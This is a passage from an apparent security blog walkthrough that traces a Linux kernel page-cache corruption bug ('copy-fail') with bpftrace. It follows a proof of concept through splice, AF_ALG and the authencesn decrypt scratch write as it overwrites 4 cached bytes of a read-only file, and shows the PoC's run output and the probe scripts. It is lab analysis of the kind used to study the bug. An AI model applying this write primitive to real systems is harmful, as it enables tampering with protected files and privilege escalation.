6 Hack in Motion
The PoC already proves the end result. This section is for watching the chain while it happens:
file page
-> pipe buffer
-> AF_ALG TX scatterlist
-> chained decrypt request
-> authencesn scratch write
-> modified page-cache bytesWe will debug the C PoC built in Section 5.4. This time, compile it with debug symbols so GDB can track source lines, and drop the page cache before each run so target.bin starts from a clean state:
# Build the PoC with debug symbols.
# -g keeps source/line information for GDB.
# -O2 is kept so the binary stays close to the normal PoC build.
gcc -g -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c
# Clear page cache before testing.
# This helps ensure target.bin is reloaded cleanly instead of reusing
# stale cached state from an earlier run.
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'When everything's ready:
axura@pwnlab:~/lab/copy-fail$ ls copyfail_poc.c axura@pwnlab:~/lab/copy-fail$ gcc -g -Wall -Wextra -O2 -o copyfail_poc copyfail_poc.c axura@pwnlab:~/lab/copy-fail$ file copyfail_poc copyfail_poc: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, i nterpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d5c1981a6cc356da8eb8cfc5c0635552f6ecd9 e7, for GNU/Linux 3.2.0, with debug_info, not stripped axura@pwnlab:~/lab/copy-fail$ ./copyfail_poc [+] target : ./target.bin [+] overwrite : file offset 0x1234 [+] splice : offset=0x1224 len=0x20 authsize=0x10 [+] write value : PWN! [+] marker before @ 0x1234 = 4f 52 49 47 (ORIG) [+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes)) [+] AEAD configured: authkey=32, enckey=16, authsize=0x10 [+] accepted operation socket: fd=4 [+] AAD queued: assoclen=8, AAD[4:8]=PWN! [+] splice(file -> pipe): 0x20 bytes from file offset 0x1224 [+] splice(pipe -> AF_ALG): 0x20 bytes recv failed as expected: Bad message [+] marker after @ 0x1234 = 50 57 4e 21 (PWN!) [+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 ./target.bin [+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches' [+] then re-read : xxd -g1 -s 0x1220 -l 0x40 ./target.bin [+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches axura@pwnlab:~/lab/copy-fail$ ls -li total 60 1585040 -rwxrwxr-x 1 axura axura 34936 May 16 20:22 copyfail_poc 1587064 -rw-rw-r-- 1 axura axura 8595 May 16 20:08 copyfail_poc.c 1587070 -r--r--r-- 1 axura axura 12288 May 16 20:22 target.bin axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin 00001220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001230: 41 41 41 41 50 57 4e 21 41 41 41 41 41 41 41 41 AAAAPWN!AAAAAAAA 00001240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA axura@pwnlab:~/lab/copy-fail$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches' axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin 00001220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001230: 41 41 41 41 4f 52 49 47 41 41 41 41 41 41 41 41 AAAAORIGAAAAAAAA 00001240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
we dive into the debugging journey.
6.1 Instrumentation Setup
Use two terminals:
- terminal A: run
bpftraceprobes; - terminal B: run
./copyfail_pocandxxd.
Before attaching probes, verify that the symbols exist on the running kernel:
sudo grep -wE \
'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authenc_esn_decrypt|scatterwalk_map_and_copy' \
/proc/kallsymsThe exact names we care about are:
filemap_splice_read(): regular file bytes enter the splice path from page cache.splice_folio_into_pipe(): the cached folio becomes apipe_buffer.af_alg_sendmsg():sendmsg()andMSG_SPLICE_PAGESinput enterAF_ALG.extract_iter_to_sg():AF_ALGconverts incoming iterators into TX scatterlist entries.crypto_authenc_esn_decrypt(): the selectedauthencesndecrypt callback runs.scatterwalk_map_and_copy(): the final 4-byte write walks the destination scatterlist.
If one of these symbols is missing, first check whether the corresponding module is loaded. For the PoC path, af_alg, algif_aead, and authencesn must be active:
axura@pwnlab:~/lab/copy-fail$ sudo grep -wE \ 'filemap_splice_read|splice_folio_into_pipe|af_alg_sendmsg|extract_iter_to_sg|crypto_authe nc_esn_decrypt|scatterwalk_map_and_copy' \ /proc/kallsyms ffffffff9ddbdd80 T splice_folio_into_pipe ffffffff9ddbdee0 T filemap_splice_read ffffffff9e185870 T scatterwalk_map_and_copy ffffffff9e257100 T extract_iter_to_sg ffffffff9ebc57ec t splice_folio_into_pipe.cold ffffffffc0a8e2c0 t crypto_authenc_esn_decrypt [authencesn] ffffffffc0a774e3 t af_alg_sendmsg.cold [af_alg] ffffffffc0a76520 t af_alg_sendmsg [af_alg]
This confirms the key probe targets are present on the running kernel, so the following bpftrace steps can attach to the real exploit path instead of to fallback or missing code.
6.2 Page Cache Before And After
Before the trigger, the marker should be the disk value:
target.bin[0x1234:0x1238] = ORIGThen run the PoC again and we observe the same behaviour as in 5.4.2, that the normal file read observes the corruption again:
axura@pwnlab:~/lab/copy-fail$ sudo ./copyfail_poc [+] target : ./target.bin [+] overwrite : file offset 0x1234 [+] splice : offset=0x1224 len=0x20 authsize=0x10 [+] write value : PWN! [+] marker before @ 0x1234 = 4f 52 49 47 (ORIG) [+] bound AF_ALG: type=aead name=authencesn(hmac(sha256),cbc(aes)) [+] AEAD configured: authkey=32, enckey=16, authsize=0x10 [+] accepted operation socket: fd=4 [+] AAD queued: assoclen=8, AAD[4:8]=PWN! [+] splice(file -> pipe): 0x20 bytes from file offset 0x1224 [+] splice(pipe -> AF_ALG): 0x20 bytes recv failed as expected: Bad message [+] marker after @ 0x1234 = 50 57 4e 21 (PWN!) [+] verify cached bytes : xxd -g1 -s 0x1220 -l 0x40 ./target.bin [+] verify cache vs disk: sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches' [+] then re-read : xxd -g1 -s 0x1220 -l 0x40 ./target.bin [+] success signal : ORIG -> PWN! before drop_caches, then ORIG after drop_caches axura@pwnlab:~/lab/copy-fail$ xxd -g1 -s 0x1220 -l 0x40 ./target.bin 00001220: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001230: 41 41 41 41 50 57 4e 21 41 41 41 41 41 41 41 41 AAAAPWN!AAAAAAAA 00001240: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00001250: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
This confirms the userspace-visible side of the page-cache corruption. The next probe confirms how the file page entered the pipe and then AF_ALG.
6.3 Inpsect File → Pipe
The next probe verifies the first kernel handoff:
target file page cache
│
▼
pipe bufferThis is the splice(file -> pipe) stage. We want to confirm that the PoC's selected file range:
splice_file_offset = 0x1224
splice_len = 0x20is read from the target file's page-cache mapping and handed into the pipe as a cached folio, not copied into a private userspace buffer.
Run this in terminal A:
sudo bpftrace -e '
kprobe:filemap_splice_read /comm == "copyfail_poc"/
{
$file = (struct file *)arg0;
$mapping = $file->f_mapping;
$inode = $mapping->host;
$pos = *(uint64 *)arg1;
printf("filemap_splice_read: ino=%lu pos=0x%llx len=0x%lx mapping=%p nrpages=%lu\n",
$inode->i_ino, $pos, arg3, $mapping, $mapping->nrpages);
}
kprobe:splice_folio_into_pipe /comm == "copyfail_poc"/
{
printf("splice_folio_into_pipe: pipe=%p folio=%p offset=0x%lx size=0x%lx\n",
arg0, arg1, arg2, arg3);
}
'The first probe targets filemap_splice_read(), whose signature is:
ssize_t filemap_splice_read(struct file *in, loff_t *ppos,
struct pipe_inode_info *pipe, size_t len,
unsigned int flags)So the probe arguments are:
| Probe value | Kernel argument | Meaning |
|---|---|---|
| arg0 | struct file *in | input file being spliced |
| arg1 | loff_t *ppos | pointer to current file offset |
| arg2 | struct pipe_inode_info *pipe | destination pipe |
| arg3 | size_t len | requested splice length |
Because arg1 is a pointer to loff_t, the probe dereferences it:
$pos = *(uint64 *)arg1;The probe also walks the file-cache relationship directly:
$file = (struct file *)arg0;
$mapping = $file->f_mapping;
$inode = $mapping->host;Those fields map to the file's page-cache objects:
in->f_mappingpoints from the opened file to its address-space mapping.mapping->hostpoints from that mapping back to the backing inode.mapping->nrpagestracks pages currently present in that address space.
So when the probe prints:
ino=...
mapping=...
nrpages=...it is showing the target file's page-cache mapping, not a random kernel address.
Then run the PoC in terminal B (sudo overwrites any left-over target.bin genreated earlier):
sudo ./copyfail_pocResult:

Observed probe output:
filemap_splice_read: ino=1587070 pos=0x1224 len=0x20 mapping=0xffff9f06d4964ca0 nrpages=3
splice_folio_into_pipe: pipe=0xffff9f06ea4ce3c0 folio=0xffffe57688cb1900 offset=0x1224 size=0x20The first line confirms the live file splice window:
inode = 1587070
pos = 0x1224
len = 0x20That matches the PoC layout:
splice_file_offset = 0x1224
splice_len = 0x20The inode value comes from mapping->host, and the mapping value comes from in->f_mapping, so this line ties the splice operation back to the target file's page-cache address space.
Inside filemap_splice_read(), the selected cached folio is handed into the pipe through splice_folio_into_pipe():
n = splice_folio_into_pipe(pipe, folio, *ppos, n);The second probe line confirms that handoff:
pipe = 0xffff9f06ea4ce3c0
folio = 0xffffe57688cb1900
offset = 0x1224
size = 0x20This is the important transition:
target file
│
▼
file address_space mapping
│
▼
cached folio
│
▼
pipe bufferSo at this point, the target file bytes have not been copied into a private anonymous buffer. The pipe now carries a reference to the cached file folio selected by the splice window. This proves the first handoff in the exploit chain:
target.bin @ 0x1224, len 0x20
│
▼
page-cache folio
│
▼
pipe buffer referenceThis keeps the probe focused on file → pipe only. The next probe should cover the next handoff: pipe → socket / AF_ALG TX scatterlist.
6.4 Inpsect Pipe → AF_ALG
The next handoff is:
pipe-backed file page
│
▼
socket send path
│
▼
AF_ALG TX scatterlistIn splice_to_socket(), pipe-backed pages are wrapped into a socket message. The important part is that the message is marked as page-backed before it is sent into the socket layer:
msg.msg_flags = MSG_SPLICE_PAGES;
...
ret = sock_sendmsg(sock, &msg);For an accepted AEAD operation socket, that sock_sendmsg() call reaches af_alg_sendmsg(). Inside that function, the exploit-relevant path is selected by MSG_SPLICE_PAGES:
if (msg->msg_flags & MSG_SPLICE_PAGES) {
plen = extract_iter_to_sg(&msg->msg_iter, len, &sgtable, ...);
...
}This is the conversion point:
pipe-backed socket message
│
▼
msg_iter marked MSG_SPLICE_PAGES
│
▼
extract_iter_to_sg()
│
▼
AF_ALG TX scatterlistOn this kernel, extract_iter_to_sg() is not directly traceable with kprobe. So instead, we probe the traceable AF_ALG entry point and inspect the incoming msghdr.
Run this in terminal A:
sudo bpftrace -e '
kprobe:af_alg_sendmsg /comm == "copyfail_poc"/
{
$msg = (struct msghdr *)arg1;
printf("af_alg_sendmsg: size=0x%lx msg_flags=0x%x\n",
arg2, $msg->msg_flags);
}
'Then run the PoC in terminal B:
sudo ./copyfail_pocResult:

The probe records two calls into af_alg_sendmsg():
af_alg_sendmsg: size=0x8 msg_flags=0x8000
af_alg_sendmsg: size=0x20 msg_flags=0x8000000They match the two inputs staged by the PoC:
| Call | Size | Flag | Meaning |
|---|---|---|---|
normal sendmsg() | 0x8 | 0x8000 | queues the 8-byte AAD: "AAAA" "PWN!" |
splice(pipe -> AF_ALG) | 0x20 | 0x8000000 | queues the 32-byte file-backed splice window |
The first line is the AAD fragment:
size=0x8
AAD = "AAAA" || "PWN!"The second line is the file-backed splice fragment:
size=0x20
target.bin[0x1224:0x1244]
= [0x10 ciphertext/filler][0x10 tag region]The important flag is 0x8000000, which matches MSG_SPLICE_PAGES. That flag is set by splice_to_socket() before calling sock_sendmsg().
So the live path is:
splice(file -> pipe)
│
▼
pipe buffer references file-backed page
│
▼
splice(pipe -> AF_ALG socket)
│
▼
splice_to_socket()
│
▼
sock_sendmsg(... MSG_SPLICE_PAGES ...)
│
▼
af_alg_sendmsg()
│
▼
MSG_SPLICE_PAGES branch
│
▼
extract_iter_to_sg()
│
▼
AF_ALG TX scatterlistSo this probe confirms the second handoff: the file-backed data is no longer only sitting behind a pipe buffer. It has entered the AF_ALG send path as a page-backed MSG_SPLICE_PAGES payload, ready to be imported into the AEAD TX scatterlist.
6.5 Inspect Authencesn Scratch Write
The final runtime pivot happens inside the selected AEAD implementation. By this point, the inputs are already staged:
- normal
sendmsg(): AAD ="AAAA" || "PWN!" splice(pipe -> AF_ALG): 0x20-byte file-backed TX window →[0x10 ciphertext][0x10 tag]
Now recv() submits the prepared AEAD request. The generic crypto layer dispatches into crypto_authenc_esn_decrypt(), where the interesting write is:
scatterwalk_map_and_copy(
tmp + 1, // source: AAD[4:8]
dst, // target scatterlist
assoclen + cryptlen, // logical destination offset
4, // 4-byte write
1 // write flag: tmp+1 -> dst @ assoclen+cryptlen
);For the lab layout:
assoclen = 0x8
req->cryptlen = 0x20 // ciphertext || tag
authsize = 0x10
effective cryptlen = 0x10 // after cryptlen -= authsize
scratch write offset = assoclen + effective cryptlen
= 0x8 + 0x10
= 0x18
write length = 4
write value = AAD[4:8] = "PWN!"Attach this probe:
sudo bpftrace -e '
kprobe:crypto_authenc_esn_decrypt /comm == "copyfail_poc"/
{
$req = (struct aead_request *)arg0;
printf("authencesn_decrypt: assoclen=0x%x cryptlen=0x%x src=%p dst=%p expected_scratch_off=0x%x\n",
$req->assoclen, $req->cryptlen, $req->src, $req->dst,
$req->assoclen + $req->cryptlen - 0x10);
}
kprobe:scatterwalk_map_and_copy
/comm == "copyfail_poc" && arg2 == 0x18 && arg3 == 4 && arg4 == 1/
{
printf("scratch_write: sg=%p off=0x%lx len=%lu out=%lu value_le=0x%x\n",
arg1, arg2, arg3, arg4, *(uint32 *)arg0);
}
'Result:

Observed:
authencesn_decrypt: assoclen=0x8 cryptlen=0x20 src=0xffff9f06ca980020 dst=0xffff9f06ca980020 expected_scratch_off=0x18
scratch_write: sg=0xffff9f06ca980020 off=0x18 len=4 out=1 value_le=0x214e5750The first line confirms the request shape at the entry of crypto_authenc_esn_decrypt():
assoclen = 0x8
req->cryptlen = 0x20
src == dst = in-place requestAt function entry, req->cryptlen still describes:
ciphertext || tagSo the probe computes the expected scratch-write offset by subtracting the configured tag size:
expected_scratch_off = assoclen + req->cryptlen - authsize
= 0x8 + 0x20 - 0x10
= 0x18That matches the second probe line:
scratch_write: off=0x18 len=4 out=1That boundary is the one used by the actual vulnerable operation:
scatterwalk_map_and_copy(
void tmp[1], // 0xffff9f06ca980020+8
struct scatterlist *sg = dist, // 0xffff9f06ca980020
unsigned int start = 0x18, // destination: dist + 0x18
unsigned int nbytes = 4, // write 4 bytes
int out = 1); // write from 0xffff9f06ca980020+0x8 to 0xffff9f06ca980020+0x18
);At the end, 0x214e5750 was written to the destination, which is exactly the string "PWN!" interpreted as a little-endian uint32_t:
50 57 4e 21 -> "PWN!"This confirms the vulnerable operation itself: authencesn performs a destination-side 4-byte write at the boundary between the copied decrypt output and the chained tag tail. Because the tag tail came from the spliced file-backed pipe buffer, that write lands on the cached file page.
The final userspace check closes the loop:
xxd -g1 -s 0x1220 -l 0x40 ./target.bin
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
xxd -g1 -s 0x1220 -l 0x40 ./target.binResult as expected:

The final xxd output shows the same two-phase result established earlier by the PoC: before drop_caches, the normal file read observes PWN!; after drop_caches, rereading returns to ORIG. That closes the runtime chain from:
filemap_splice_read()→af_alg_sendmsg()→crypto_authenc_esn_decrypt()
That is a 4-byte write lands in page cache, while the on-disk file remains unchanged.
Comments | NOTHING